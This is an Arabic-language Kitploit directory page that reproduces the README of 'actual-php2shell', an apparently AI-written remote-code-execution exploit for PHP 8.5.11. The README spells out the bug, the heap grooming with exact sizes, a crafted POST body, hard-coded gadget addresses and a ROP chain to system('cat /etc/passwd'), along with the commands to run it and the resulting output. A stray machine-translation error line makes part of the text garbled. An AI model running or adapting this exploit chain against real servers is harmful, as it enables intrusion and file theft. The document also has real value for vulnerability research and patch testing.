Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/cookiengineer/actual-php2shell
أمن الحاوياتتحليل الذاكرة الجنائيتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةشيل كودالأوراق والأبحاثاستغلال الملفات الثنائية
GitHubcookiengineer/actual-php2shell

actual-php2shell

🤖 لا، هناك طريقة سهلة لاستغلال هذه الثغرة! (تمت برمجتها بالذكاء الاصطناعي لإثبات وجهة نظر)

عرض المستودع
176منذ 15س 5دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

actual-php2shell

إثبات مفهوم (PoC) قابل لإعادة الإنتاج ومستقل عن التطبيق لتنفيذ التعليمات البرمجية عن بُعد ضد PHP 8.5.11 (تنبيهات أكتوبر 2026). يحوّل تنبيهَي تلف الذاكرة في PHP لعام 2026 إلى system("cat /etc/passwd") دون أي كود تطبيقي — فملف index.php لدى الضحية يكتفي بطباعة ok.

  • CVE-2026-109618 — يتخلى longjmp الناتج عن نفاد الذاكرة (OOM) عن HashTable نصف مبنيّ، تاركًا دلوًا معلّقًا (dangling bucket) يدمّره الإغلاق (shutdown). هذا هو أساس تنفيذ التعليمات البرمجية عن بُعد (RCE).
  • CVE-2026-109619 — حالة خطأ مملوكة للطلب (تتبّع الخطأ القاتل) تبقى بعد إغلاق الطلب ويُعاد تحريرها بواسطة الطلب التالي. هذا هو أساس تسريب المعلومات / تجاوز ASLR (عرض توضيحي منفصل هنا).

كل شيء قابل لإعادة الإنتاج بالكامل في حاويات Podman. النتيجة المؤكدة من البداية إلى النهاية هي ./exploits/cve-2026-109618-oom/rce.py وهي تقرأ /etc/passwd.


1. الثغرة (CVE-2026-109618)

عندما ينفد الذاكرة من PHP فإنه يستدعي zend_mm_safe_error() → zend_error_noreturn() → zend_bailout() (longjmp). في 8.5.11 فإن إدراج جدول التجزئة (hash-table) ليس قابلًا للفشل عند التخصيص، لذا يمكن لنفاد الذاكرة أن يفكّ المكدس (unwind) مع HashTable نصف معدّل.

موضع الإفساد هو add_to_hash في _zend_hash_str_add_or_update_i() (Zend/zend_hash.c:960):

add_to_hash:
    idx = ht->nNumUsed++;                       /* (1) bumped first      */
    ht->nNumOfElements++;                       /* (2) bumped            */
    p = ht->arData + idx;
    p->key = key = zend_string_init(str, len);  /* (3) OOM -> zend_bailout */

إذا فشل نسخ المفتاح zend_string_init بسبب نفاد الذاكرة (OOM)، يبقى العنصر p غير مكتوب (key/h/val كلها قيم قديمة) لكن nNumUsed يكون قد زاد بالفعل. عند إغلاق الطلب يمرّ zend_array_destroy() على عناصر nNumUsed وينادي i_zval_ptr_dtor(&p->val) على قيمة val المهملة في العنصر غير المكتوب — وهي قيمة مصمّمة من المهاجم. يُستبدل كل تخصيص من هذا النوع في إصلاح 8.5.12 بنسخ قابلة للفشل (femalloc/fperealloc2 + HASH_FALLIBLE) بحيث يعود الإدراج بشكل نظيف بدلًا من الانسحاب.

2. توازن رسم الكائنات / هندسة الكومة (heap-feng-shui)

يتعلق الاستغلال بالكامل بجعل كتلة واحدة مسيطر عليها بحجم 2560 بايت تكون arData الخاصة بـ HashTable التي يكون عنصرها الأخير هو عنصر نفاد الذاكرة. القيم التي كان لا بد من موازنتها، والسبب:

النوع / المتغيرالحجمالدور
ترويسة zend_array (HashTable)56 بايتarData، nNumUsed، nTableSize، pDestructor
Bucket32 بايتval(16) + h(8) + key(8)؛ العنصر غير المكتوب هو هدفنا
zval16 بايتvalue(8) + u1.type_info(4) + u2(4) — نضبط type_info
zend_stringترويسة 24 بايت + بياناتقيمة الحشو؛ طولها يحدد سلة المخصص (allocator bin)
zend_object56 بايتكائن مزيف: gc(8) handle(4) ce(8) handlers(8) properties(8)
zend_object_handlersoffset/free_obj/dtor_objfree_obj هو أداة المحور (pivot gadget)
zend_mm_heap / zend_mm_chunk—free_slot[]، free_tail، map[] (السلة 28 = 2560 بايت)

حقيقتا المخصص اللتان تقوم عليهما هندسة الكومة بأكملها:

  1. إن arData لجدول بـ 64 عنصرًا هي بالضبط 2560 بايت = السلة 28 (HT_SIZE_EX(64) = 64*32 buckets + 128*4 hash = 2560)، لأن HT_SIZE_TO_MASK(n) = -(2n).
  2. b150 (الذي يُمرّ عليه) وb0e0 (الذي يُهمل) هما نسختان من $_POST["a"] أُنشئتا عبر مسار SEPARATE_ARRAY/غير المباشر في جدول الرموز (symtable)؛ كل حقل a[<large>][c]=v يُدرج المفتاح <large> في كلتيهما، ويكون b0e0 دائمًا متقدمًا بمفتاح واحد. يُدمَّر b150 فقط بواسطة php_request_shutdown، لذا يجب أن يقع نفاد الذاكرة على b150.

3. السلسلة الكاملة (انظر rce.py)

جسم الطلب هو POST بترميز urlencoded:

memshift=<40 KB of M>&
a[X…0000000000000000][c]=v&  … (30 fields)
pad=<crafted 2528 B>&
pad=x&
a[X…0000000000000030][c]=v&  … (fields 30..59)
  1. memshift (~40 KB) يستهلك من الذاكرة ما يكفي فقط لكي يُطلق OOM عند أول إدراج لحقل OOM، أي في b150 (الجدول الممشى)، وليس b0e0 المهمَل.
  2. pad=<2528 B>: يقوم add_post_var بتنفيذ estrndup(A) ثم ZVAL_STRINGL_FAST(B, copy). القياس B = padlen + 32، لذا padlen=2528 يعطي A = 2529 وB = 2560 — كلاهما bin 28. يتم تحرير A عبر مسار estrndup.
  3. pad=x (مفتاح مكرر) ينفّذ DTOR على النسخة المحتفظ بها B، محررًا فتحة ثانية منفصلة في bin-28. الآن إعادة تحجيم b150 من 32→64 تعيد استخدام B — فتصبح بايتاتنا المتحكَّم بها هي arData الخاصة بـ b150.
  4. تضع بايتات الحشو الحمولة في الذيل المتحكَّم به من arData (الدلاء 46–63، الإزاحة الخام ≥ 1984) — وليس عند الإزاحة 0x100، وهي مصفوفة التجزئة التي يعيد zend_hash_rehash كتابتها.
  5. يتم ضبط الدلو غير المكتوب (الإزاحة الخام 1952 = إزاحة الحشو 1928) على IS_OBJECT مع value.obj = &fake_object.
  6. عند الإغلاق يمشي عليه: i_zval_ptr_dtor → rc_dtor_func → zend_objects_store_del → handlers->free_obj = pivot → ROP → system("cat /etc/passwd > /var/www/html/leak.txt")؛ ثم طلب GET /leak.txt لاحقًا يعيد الملف.

متطلبان دقيقان استهلكا وقتًا حقيقيًا في التنقيح (كلاهما في rce.py):

  • يجب أن يستقر الكائن المزيف/ROP في ذيل arData؛ إزاحة الحشو 0x100 هي مصفوفة التجزئة ويتم الكتابة فوقها.
  • يستخدم __libc_system تعليمة movaps (محاذاة 16 بايت)، لذا يُدرج أداة ret إضافية بين pop rdi; ret وsystem — وإلا فإنه يحدث SIGSEGV داخل __libc_system قبل execve.

4. العناوين المستهدفة (ASLR معطّل، setarch -R)

مقاسة مقابل php-rce-oom-debug:8.5.11 (الأساس php-rce-base:8.5.11). قواعد libphp/libc هي نفسها عبر بناء الأساس؛ إزاحة الكومة B تتغير مع المكتبات المثبتة (تثبيت gdb حرّكها)، لذا أعد قياس B لصورة مختلفة، أو استنتجها عبر تسريب المعلومات عند تفعيل ASLR.

الرمزالعنوان
libphp base0x7ffff4400000
libc base0x7ffff7cd4000
system0x7ffff7d20490 (libc+0x4c490)
pop rdi; ret0x7ffff7cfb7e5 (libc+0x277e5)
ret0x7ffff7cfb7e6
pivot (jump_fcontext+0x2e)0x7ffff49fb8ae
main chunk ([anon:zend_alloc])0x7ffff7200000
B (arData raw block = b150->arData - 512)0x7ffff725e400
fake handlersB + 24 + 2000 = 0x7ffff725ebe8
fake objectB + 24 + 2048 = 0x7ffff725ec18
cmd stringB + 24 + 2200 = 0x7ffff725ecb0

سلسلة ROP (نسبةً إلى الكائن المزيف، o):

o+0x40  pop rdi; ret     (r8 loaded by the pivot)
o+0x48  &cmd             (rdi)
o+0x50  ret              (stack alignment for movaps)
o+0x58  system

5. إعادة الإنتاج

يتطلب Podman. من جذر المستودع:

# build base + OOM + debug (gdb) images
./exploits/cve-2026-109618-oom/trace.sh build

# run the vulnerable worker with ASLR disabled (setarch -R), port 8084
./exploits/cve-2026-109618-oom/trace.sh up

# exploit: OOM -> free_obj hijack -> system("cat /etc/passwd")
python3 exploits/cve-2026-109618-oom/rce.py 127.0.0.1 8084

لا يوجد محتوى مُدخل للترجمة. يرجى تزويد النص المطلوب ترجمته (الجزء 9 من 15).

[+] RCE: read /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…

عروض توضيحية أخرى

# stale fatal-backtrace UAF crash (CVE-2026-109619)
./exploits/cve-2026-109619-stale-state/run.sh up && ./exploits/cve-2026-109619-stale-state/run.sh uaf

# info-leak / ASLR-bypass primitive (addresses + read path)
./exploits/cve-2026-109619-info-leak/run.sh build && ./exploits/cve-2026-109619-info-leak/run.sh up && ./exploits/cve-2026-109619-info-leak/run.sh leak

# negative control (patched 8.5.12 survives the same sequence)
./exploits/negative-control/run.sh up && ./exploits/negative-control/run.sh

6. تخطيط المستودع

تنزيل الأداة